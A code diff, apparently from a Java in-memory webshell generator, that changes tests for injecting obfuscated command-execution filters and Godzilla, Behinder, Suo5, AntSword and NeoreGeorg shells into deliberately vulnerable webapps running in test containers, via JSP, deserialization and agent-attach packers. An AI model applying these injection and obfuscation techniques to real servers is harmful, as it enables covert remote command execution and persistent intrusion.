-import java.nio.charset.StandardCharsets;
-import java.util.Objects;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.mockito.Mockito.*;
-
-/**
- * @author ReaJason
- * @since 2025/3/30
- */
-@ExtendWith(MockitoExtension.class)
-public class CommandFilterChainASMTest {
-
-    @Mock
-    ServletRequest mockRequest;
-
-    @Mock
-    ServletResponse mockResponse;
-
-    Object instance;
-
-    @BeforeEach
-    @SneakyThrows
-    void setUp() {
-        byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
-        ClassReader cr = new ClassReader(bytes);
-        ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
-        ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
-            @Override
-            public MethodVisitor visitMethod(int access, String name, String descriptor,
-                                             String signature, String[] exceptions) {
-                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
-                if ("doFilter".equals(name)) {
-                    Type[] argumentTypes = Type.getArgumentTypes(descriptor);
-                    return new CommandFilterChainAsmMethodVisitor(mv, argumentTypes);
-                }
-                return mv;
-            }
-        };
-        cr.accept(cv, ClassReader.EXPAND_FRAMES);
-        byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
-        BaseConfig config = BaseConfig.Default();
-        config.setIgnorePublic(true);
-        config.setEnableMethodName(false);
-        config.setEnableParamName(false);
-        config.setEnableAES(false);
-        config.setEnableAdvanceString(false);
-        ClassObf classObf = new ClassObf(config);
-        Result run = classObf.run(bytes2);
-        bytes2 = run.getData();
-        IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
-        Class<?> clazz = ClassUtils.defineClass(bytes2);
-        instance = spy(clazz.newInstance());
-    }
-
-    @Test
-    @SneakyThrows
-    void testInvokeParam() {
-        when(mockRequest.getParameter("paramName")).thenReturn("id");
-        ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
-        ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
-        when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
-
-        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
-        String output = capturedOutput.toString(StandardCharsets.UTF_8);
-        assertTrue(output.contains("uid="));
-
-        verify(((FilterChainInterface) instance), never()).doFilterInternal();
-    }
-
-    @Test
-    @SneakyThrows
-    void testNotParameter() {
-        when(mockRequest.getParameter("paramName")).thenReturn(null);
-
-        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
-
-        verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
-    }
-}

generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisorTest.java

@@ -1,93 +0,0 @@
-package com.reajason.javaweb.memshell.shelltool.command;
-
-import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
-import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
-import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
-import lombok.SneakyThrows;
-import net.bytebuddy.agent.ByteBuddyAgent;
-import net.bytebuddy.agent.builder.AgentBuilder;
-import net.bytebuddy.asm.Advice;
-import net.bytebuddy.dynamic.ClassFileLocator;
-import net.bytebuddy.dynamic.loading.ByteArrayClassLoader;
-import net.bytebuddy.matcher.ElementMatchers;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-import org.mockito.Mock;
-import org.mockito.junit.jupiter.MockitoExtension;
-
-import javax.servlet.FilterChain;
-import javax.servlet.ServletOutputStream;
-import javax.servlet.ServletRequest;
-import javax.servlet.ServletResponse;
-import java.io.ByteArrayOutputStream;
-import java.lang.instrument.ClassFileTransformer;
-import java.nio.charset.StandardCharsets;
-
-import static net.bytebuddy.matcher.ElementMatchers.none;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.mockito.Mockito.*;
-
-/**
- * @author ReaJason
- * @since 2025/3/30
- */
-@ExtendWith(MockitoExtension.class)
-public class CommandFilterChainAdvisorTest {
-
-    @Mock
-    ServletRequest mockRequest;
-
-    @Mock
-    ServletResponse mockResponse;
-
-    Object instance;
-
-    static ClassFileTransformer classFileTransformer;
-
-    @BeforeEach
-    @SneakyThrows
-    void setUp() {
-        ByteBuddyAgent.install();
-        ClassLoader classLoader = new ByteArrayClassLoader.ChildFirst(CommandFilterChainAdvisorTest.class.getClassLoader(),
-                ClassFileLocator.ForClassLoader.readToNames(TestFilterChain.class),
-                ByteArrayClassLoader.PersistenceHandler.MANIFEST);
-        classFileTransformer = new AgentBuilder.Default()
-                .ignore(none())
-                .type(ElementMatchers.is(TestFilterChain.class), ElementMatchers.is(classLoader)).transform((
-                        (builder, typeDescription, c, module, protectionDomain) ->
-                                builder.visit(Advice.to(CommandFilterChainAdvisor.class).on(ElementMatchers.named("doFilter")))))
-                .installOnByteBuddyAgent();
-        Class<?> clazz = classLoader.loadClass(TestFilterChain.class.getName());
-        instance = spy(clazz.newInstance());
-    }
-
-    @AfterEach
-    void tearDown() {
-        ByteBuddyAgent.getInstrumentation().removeTransformer(classFileTransformer);
-    }
-
-    @Test
-    @SneakyThrows
-    void testInvokeParam() {
-        when(mockRequest.getParameter("paramName")).thenReturn("id");
-        ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
-        ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
-        when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
-
-        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
-        String output = capturedOutput.toString(StandardCharsets.UTF_8);
-        assertTrue(output.contains("uid="));
-
-        verify(((FilterChainInterface) instance), never()).doFilterInternal();
-    }
-
-    @Test
-    @SneakyThrows
-    void testNotParameter() {
-        when(mockRequest.getParameter("paramName")).thenReturn(null);
-        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
-        verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
-    }
-}

gradle/wrapper/gradle-wrapper.properties

@@ -1,6 +1,6 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-8.13-bin.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-8.12.1-bin.zip
 networkTimeout=10000
 validateDistributionUrl=true
 zipStoreBase=GRADLE_USER_HOME

integration-test/build.gradle

@@ -61,7 +61,6 @@ test {
             ":vul:vul-webapp-expression:war",
             ":vul:vul-webapp-deserialize:war",
             ":vul:vul-webapp-jakarta:war",
-            ":vul:vul-springboot1:bootJar",
             ":vul:vul-springboot2:bootJar",
             ":vul:vul-springboot2:bootWar",
             ":vul:vul-springboot2-webflux:bootJar",

integration-test/docker-compose/jetty/docker-compose-6-jdk6.yaml

@@ -4,7 +4,7 @@ services:
     ports:
       - "8080:8080"
       - "5005:5005"
-    #    environment:
+#    environment:
-    #      JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
+#      JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
     volumes:
       - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war

integration-test/docker-compose/jetty/docker-compose-9.2-jre7.yaml

@@ -1,8 +0,0 @@
-services:
-  jetty927:
-    image: jetty:9.2-jre7
-    ports:
-      - "8080:8080"
-      - "5005:5005"
-    volumes:
-      - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war

integration-test/docker-compose/weblogic/docker-compose-12214.yaml

@@ -4,7 +4,6 @@ services:
     container_name: weblogic12214
     ports:
       - "7001:7001"
-      - "5005:5005"
     environment:
       JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
     volumes:

integration-test/docker-compose/weblogic/docker-compose-14110.yaml

@@ -1,11 +0,0 @@
-services:
-  weblogic14110:
-    image: reajason/weblogic:14.1.1.0
-    container_name: weblogic14110
-    ports:
-      - "7001:7001"
-      - "5005:5005"
-    environment:
-      JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
-    volumes:
-      - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/u01/oracle/user_projects/domains/domain1/autodeploy/app.war

integration-test/docker-compose/wildfly/docker-compose-9.yaml

@@ -6,6 +6,6 @@ services:
       - 8080:8080
       - 5005:5005
     environment:
-      JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true -Djboss.server.default.config=standalone.xml
+        JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true -Djboss.server.default.config=standalone.xml
     volumes:
-      - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/jboss/wildfly/standalone/deployments/app.war
+        - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/jboss/wildfly/standalone/deployments/app.war

integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java

@@ -5,6 +5,7 @@ import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.utility.MountableFile;
 
 import java.nio.file.Path;
+import java.nio.file.Paths;
 
 /**
  * @author ReaJason
@@ -12,27 +13,25 @@ import java.nio.file.Path;
  */
 @Slf4j
 public class ContainerTool {
-    public static final MountableFile warJakartaFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-jakarta", "build", "libs", "vul-webapp-jakarta.war").toAbsolutePath());
+    public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
-    public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
+    public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
-    public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
+    public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-deserialize/build/libs/vul-webapp-deserialize.war").toAbsolutePath());
-    public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath());
+    public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
-    public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
+    public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath());
-    public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
+    public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
-    public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
+    public static final Path springBoot2WebfluxDockerfile = Paths.get("../vul/vul-springboot2-webflux/Dockerfile").toAbsolutePath();
-    public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
+    public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
-    public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
+    public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath();
-    public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
-    public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
 
-    public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux"));
+    public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux"));
-    public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh"));
+    public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
-    public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
+    public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script/resin_pid.sh"));
-    public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
+    public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script/jboss_pid.sh"));
-    public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
+    public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script/glassfish_pid.sh"));
-    public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
+    public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh"));
-    public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
+    public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
-    public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh"));
+    public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
-    public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script", "springboot_pid.sh"));
+    public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script/springboot_pid.sh"));
 
     public static String getUrl(GenericContainer<?> container) {
         int port = container.getMappedPort(8080);

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

@@ -15,6 +15,7 @@ import okhttp3.Request;
 import okhttp3.Response;
 import org.java_websocket.client.WebSocketClient;
 import org.java_websocket.handshake.ServerHandshake;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
 import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
@@ -48,11 +49,6 @@ public class ShellAssertionTool {
 
     @SneakyThrows
     public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
-        testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
-    }
-
-    @SneakyThrows
-    public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
         String shellUrl = url + "/test";
 
         String urlPattern = null;
@@ -79,12 +75,12 @@ public class ShellAssertionTool {
             Path tempJar = Files.createTempFile("temp", "jar");
             Files.write(tempJar, bytes);
             String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
-            appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
+            container.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
 //            Files.copy(tempJar, Paths.get("target.jar"));
             FileUtils.deleteQuietly(tempJar.toFile());
-            String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
+            String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout();
             assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
-            String stdout = appContainer.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
+            String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
             log.info("attach result: {}", stdout);
             assertThat(stdout, anyOf(
                     containsString("ATTACH_ACK"),
@@ -92,7 +88,7 @@ public class ShellAssertionTool {
             ));
         } else {
             content = packer.getInstance().pack(generateResult);
-            assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
+            assertInjectIsOk(url, shellType, shellTool, content, packer, container);
             log.info("send inject payload successfully");
         }
 
@@ -116,20 +112,9 @@ public class ShellAssertionTool {
             case AntSword:
                 testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
                 break;
-            case NeoreGeorg:
-                testNeoreGeorgIsOk(appContainer, pythonContainer, shellUrl, ((NeoreGeorgConfig) generateResult.getShellToolConfig()));
-                break;
         }
     }
 
-    private static void testNeoreGeorgIsOk(GenericContainer<?> container, GenericContainer<?> pythonContainer, String shellUrl, NeoreGeorgConfig shellToolConfig) throws Exception {
-        URL url = new URL(shellUrl);
-        shellUrl = "http://app:" + container.getExposedPorts().stream().findFirst().get() + url.getPath();
-        String stdout = pythonContainer.execInContainer("python", "/app/neoreg.py", "-k", "key", "-H", shellToolConfig.getHeaderName() + ": " + shellToolConfig.getHeaderValue(), "-u", shellUrl).getStdout();
-        log.info(stdout);
-        assertTrue(stdout.contains("All seems fine"));
-    }
-
     public static void testGodzillaIsOk(String entrypoint, GodzillaConfig shellConfig) {
         try (GodzillaManager godzillaManager = GodzillaManager.builder()
                 .entrypoint(entrypoint).pass(shellConfig.getPass())
@@ -160,6 +145,11 @@ public class ShellAssertionTool {
         }
     }
 
+    @Test
+    void name() throws Exception {
+        testWebSocketCommandIsOk("ws://localhost:8082/app/hello", null);
+    }
+
     public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception {
         final CountDownLatch latch = new CountDownLatch(1);
         final String[] responseHolder = new String[1];
@@ -195,6 +185,7 @@ public class ShellAssertionTool {
         }
 
         String res = responseHolder[0];
+        System.out.println(res);
         assertTrue(res.contains("uid="));
     }
 
@@ -232,16 +223,8 @@ public class ShellAssertionTool {
                 .targetJreVersion(targetJdkVersion)
                 .debug(true)
                 .shrink(true)
-                .obfuscate(true)
                 .build();
 
-        if (ShellTool.NeoreGeorg.equals(shellTool)) {
-            shellConfig.setObfuscate(false);
-        }
-        if (Server.Jetty.equals(server) && ShellType.FILTER.equals(shellType) && ShellTool.Suo5.equals(shellTool)) {
-            shellConfig.setObfuscate(false);
-        }
-
         ShellToolConfig shellToolConfig = null;
         String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
         switch (shellTool) {
@@ -252,7 +235,7 @@ public class ShellAssertionTool {
                         .pass(godzillaPass).key(godzillaKey)
                         .headerName("User-Agent").headerValue(uniqueName)
                         .build();
-                log.info("generated {} godzilla with pass: {}, key: {}, User-Agent: {}", shellType, godzillaPass, godzillaKey, uniqueName);
+                log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, uniqueName);
                 break;
             case Command:
                 shellToolConfig = CommandConfig.builder()
@@ -267,14 +250,14 @@ public class ShellAssertionTool {
                         .headerName("User-Agent")
                         .headerValue(uniqueName)
                         .build();
-                log.info("generated {} behinder with pass: {}, User-Agent: {}", shellType, behinderPass, uniqueName);
+                log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName);
                 break;
             case Suo5:
                 shellToolConfig = Suo5Config.builder()
                         .headerName("User-Agent")
                         .headerValue(uniqueName)
                         .build();
-                log.info("generated {} suo5 with User-Agent: {}", shellType, uniqueName);
+                log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName);
                 break;
             case AntSword:
                 String antPassword = "ant";
@@ -283,14 +266,7 @@ public class ShellAssertionTool {
                         .headerName("User-Agent")
                         .headerValue(uniqueName)
                         .build();
-                log.info("generated {} antSword with pass: {}, User-Agent: {}", shellType, antPassword, uniqueName);
+                log.info("generated {} antSword with pass: {}, headerValue: {}", shellType, antPassword, uniqueName);
-                break;
-            case NeoreGeorg:
-                shellToolConfig = NeoreGeorgConfig.builder()
-                        .headerName("Referer")
-                        .headerValue(uniqueName)
-                        .build();
-                log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName);
                 break;
         }
         return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java

@@ -13,9 +13,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
@@ -35,18 +33,12 @@ import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjec
 @Testcontainers
 public class GlassFish3ContainerTest {
     public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
             .withExposedPorts(8080);
 
@@ -57,13 +49,7 @@ public class GlassFish3ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
                 Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),  // ClassFormatError
@@ -75,13 +61,13 @@ public class GlassFish3ContainerTest {
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
-        log.info(logs);
+//        log.info(logs);
 //        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java

@@ -13,9 +13,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -36,18 +34,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class GlassFish4ContainerTest {
     public static final String imageName = "reajason/glassfish:4.1.2-quick";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
             .withExposedPorts(8080);
 
@@ -58,13 +50,7 @@ public class GlassFish4ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -79,6 +65,6 @@ public class GlassFish4ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,30 +32,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class GlassFish501ContainerTest {
     public static final String imageName = "reajason/glassfish:5.0.1";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -71,6 +57,6 @@ public class GlassFish501ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
